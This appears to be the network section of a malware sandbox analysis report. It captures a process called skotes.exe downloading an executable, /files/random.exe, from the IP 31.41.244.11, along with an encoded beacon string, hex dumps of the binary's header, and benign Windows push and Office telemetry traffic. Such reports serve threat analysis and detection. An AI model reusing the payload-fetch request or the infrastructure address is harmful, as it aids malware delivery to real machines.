62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 39 35 38 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1009574001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1009579001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009580001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009581001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009582001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50134	31.41.244.11	80	8696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 11:16:09.420769930 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 27, 2024 11:16:10.758462906 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 10:16:10 GMT Content-Type: application/octet-stream Content-Length: 4440064 Last-Modified: Wed, 27 Nov 2024 09:14:32 GMT Connection: keep-alive ETag: "6746e2f8-43c000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 80 c7 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c7 00 00 04 00 00 56 d0 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 6a c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6a c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Eg(NK:v2`K@VC@ _sssjpj s6(@.rsrcsF(@.idata sH(@ p8sJ(@lfzdpzkbP NL(@hgbjbfhmpC@.taggant0"C@
Nov 27, 2024 11:16:10.758483887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 11:16:10.758497953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 11:16:10.758605957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 11:16:10.758620024 CET	896	IN	Data Raw: 26 8a 3b fa e4 ff b2 3e 2b b5 f3 9b 47 cd 45 ec 33 91 46 07 58 fd 72 9a 06 6e 70 93 af 87 6b e8 2f 1d 0d 63 20 50 90 9b 78 21 33 b3 0e 8a 41 42 e5 ef a3 45 e0 fd 30 3d 6e f9 71 03 5f fa 49 64 b3 49 7b 8c 4b a3 af 8f a7 18 9f 83 e2 00 95 aa 63 9d Data Ascii: &;>+GE3FXrnpk/c Px!3ABE0=nq_IdI{Kct22Jp}/k^:qzdc!a5Z%e)CZtlyw*P9uy4v)cO5a2\|>nV^eNW^w44"3?<W"_\|G@\|
Nov 27, 2024 11:16:10.758632898 CET	1236	IN	Data Raw: 4a 17 6a 49 3e 36 44 6f 0f 8a 22 ec a8 a7 5a 60 d3 e8 32 cb 68 66 2c 88 f7 5d 2a 34 e0 bc 8d 99 ff 0e 86 52 d6 fd 04 64 11 14 74 89 bb 10 b2 96 53 90 95 31 0b 1a d2 bb ab 20 e3 40 f8 ee 13 5c 67 16 2e 86 09 da d9 84 c7 ba 9d aa 93 bf 34 ee 70 95 Data Ascii: JjI>6Do"Z`2hf,]4RdtS1 @\g.4pbiflz7>D=GrY23cDoq5'y)[W-y=pl>ek&(/Zu"=rAP=d^1&+v[Xc5"z-Yw}F%w*j.
Nov 27, 2024 11:16:10.758646011 CET	1236	IN	Data Raw: f3 f9 23 43 ae 06 d3 31 2d 60 43 ee af 52 2f 9f 27 fd be c0 db 2b 14 04 2d cb 62 6a 7c 66 2e 64 68 91 b5 99 82 3a a9 b4 30 80 95 48 23 98 47 ea c9 40 ed dd a0 c8 6b 37 20 94 71 2d 89 07 1e bc 9a 24 a9 0f 8a e6 b6 1d cd b5 26 7b 64 85 df 69 05 3b Data Ascii: #C1-`CR/'+-bj\|f.dh:0H#G@k7 q-$&{di;W;8~)N;[ou\?bLFc6%?7'Xe{e&m'dcn,cx%F]d\|H6F 6u`a(ZQnPC4HbHB
Nov 27, 2024 11:16:10.758661032 CET	448	IN	Data Raw: 35 bd 0a 41 4e b9 5d cf 44 db 22 8a 8a 74 ca 04 20 fd 48 1e 58 d1 f4 f9 13 6f a6 1d 18 c0 a5 04 e1 67 50 ce 89 d6 be 2b ae 4f d1 2e e3 1d a1 d8 5b ca 7c 1a 0c 30 af 05 29 39 2e c0 13 ea b3 e7 0f 90 37 8b 22 0a a2 8f b4 cf 8e 83 40 bb 2c 0f a8 16 Data Ascii: 5AN]D"t HXogP+O.[\|0)9.7"@,DeS,YZd.R?i~Z&W?[1Vg0$$#Wk]`D'T.OV`D/iLf(lf4`x9#j^@ua$Yven:46_
Nov 27, 2024 11:16:10.758743048 CET	1236	IN	Data Raw: cc 43 c2 9b fd a0 1e 60 5e bc 0e a4 17 96 9d b4 a3 1d a6 fb 9c a0 78 18 1c 2f c2 c4 8a de 4c 49 f2 0d e2 30 24 1e 76 c8 5b e7 91 6a 17 1d 77 87 58 50 9d 6b 94 c2 27 71 06 97 38 97 07 ff 22 04 fd b1 6e 0f e4 ac 89 c8 ce 3b 11 07 17 a5 db 88 e3 f3 Data Ascii: C`^x/LI0$v[jwXPk'q8"n;@:10:Mx Y*,#}rYFo<!k NWasok&\z00cyS$X492@,X`n_?pkU{CJp%_
Nov 27, 2024 11:16:10.758757114 CET	1236	IN	Data Raw: 92 b1 24 bc 61 ca 6c ef 5b 59 02 04 5c 1a b1 0a ba fa 3e b9 6d 10 16 65 df 7c 76 17 81 1f 42 7e 5d e6 85 fe b7 8b 26 a2 20 36 9d ae 83 a4 6b dc 78 1a 9f b8 63 b1 76 74 af 7a 5b 36 28 fc 69 e8 46 e8 d4 02 74 62 6a a6 d7 b1 1b cc 47 be d7 b6 6c 24 Data Ascii: $al[Y\>me\|vB~]& 6kxcvtz[6(iFtbjGl$f?^h2C&)+_d. nR8*~1\|Tar.b1-@0^0,TOe&gKSy8i@BxYNtg}/-("$'N
Nov 27, 2024 11:16:10.878901005 CET	1236	IN	Data Raw: e2 c2 11 af 8b 90 f9 97 e5 8f 01 68 72 2d 46 31 e8 29 5f e2 04 20 c2 cb 52 16 05 af 2a 21 7e ad 43 39 98 35 d6 75 65 87 e7 2d 7e a5 43 3d 7b 72 de 23 a2 5c 29 d2 36 8c c3 18 c9 2a d5 26 7a 0a 84 b5 99 5b 7b 61 02 68 12 27 b6 31 f0 10 5a ae ab ee Data Ascii: hr-F1)_ R!~C95ue-~C={r#\)6&z[{ah'1ZGJo;_5+{;};dx>5oG.#o[u?1+5Rfed'bxF)CJL0FU}(\|`?\|$J8<; {7HU0B>d5.IZ

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49716	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4e 39 45 6e 50 61 47 61 79 30 43 6f 68 49 44 42 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 65 66 64 31 61 61 63 62 31 61 36 39 35 37 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: N9EnPaGay0CohIDB.1Context: cefd1aacb1a6957a
2024-11-27 10:14:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-27 10:14:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4e 39 45 6e 50 61 47 61 79 30 43 6f 68 49 44 42 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 65 66 64 31 61 61 63 62 31 61 36 39 35 37 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 33 67 4a 6a 56 2b 4c 6c 52 52 4f 35 34 6f 43 36 51 42 74 34 30 36 63 61 52 58 54 66 66 49 6b 43 4e 76 2b 39 4b 42 47 55 31 66 4d 62 30 6c 55 62 63 77 48 78 59 4c 76 49 49 6e 4d 78 64 6c 34 6a 6b 39 51 46 63 4c 67 35 61 4c 31 4b 45 42 6c 47 71 42 77 47 34 34 67 47 63 4a 67 55 62 37 67 44 34 65 41 69 55 52 78 69 4d 78 5a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: N9EnPaGay0CohIDB.2Context: cefd1aacb1a6957a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ3gJjV+LlRRO54oC6QBt406caRXTffIkCNv+9KBGU1fMb0lUbcwHxYLvIInMxdl4jk9QFcLg5aL1KEBlGqBwG44gGcJgUb7gD4eAiURxiMxZm
2024-11-27 10:14:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4e 39 45 6e 50 61 47 61 79 30 43 6f 68 49 44 42 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 65 66 64 31 61 61 63 62 31 61 36 39 35 37 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: N9EnPaGay0CohIDB.3Context: cefd1aacb1a6957a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-27 10:14:13 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-27 10:14:13 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 77 48 43 37 55 37 34 58 45 57 78 58 48 52 68 76 35 6e 65 6c 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: AwHC7U74XEWxXHRhv5nelA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:16 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101416Z-174f7845968xr5c2hC1EWRd0hn0000000dm0000000007bmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:16 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-27 10:14:16 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-27 10:14:16 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-27 10:14:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-27 10:14:16 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-27 10:14:16 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-27 10:14:16 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-27 10:14:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-27 10:14:16 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
